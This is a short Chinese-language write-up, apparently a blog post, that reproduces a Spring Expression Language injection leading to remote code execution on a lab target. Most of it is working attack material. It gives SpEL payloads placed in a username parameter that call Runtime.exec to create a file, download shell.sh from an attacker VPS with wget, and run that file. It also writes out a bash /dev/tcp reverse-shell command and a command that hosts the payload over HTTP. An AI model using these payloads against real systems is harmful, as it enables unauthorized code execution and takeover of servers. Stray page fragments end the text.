漏洞描述
Spring Expression Language是一个功能强大的表达式 语言支持查询和在运行时操作一个对象图。 攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。
漏洞复现
1、访问靶场 ip:prot/users 抓包观察

2、修改数据包发送服务器响应500证明攻击成功
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch rcetest.txt")]=&password=&repeatedPassword=

3、vps服务器上传反弹shell命令
bash -i >& /dev/tcp/ip/8888 0>&1

4、vps开启http服务 本地测试是否访问成功
python3 -m http.server 8888


5、靶场通过http服务下载shell.sh文件,响应500且vps服务器有记录说明下载成功。
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget --output-document /tmp/rce VPSIP/shell.sh")]=&password=&repeatedPassword=

6、执行shell.sh文件 反弹shell到vps服务器上
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/rce")]=&password=&repeatedPassword=

复现&spm=1001.2101.3001.5002&articleId=127593060&d=1&t=3&u=e8926d7c2e494ed2a037530252932919)
819

被折叠的 条评论
为什么被折叠?



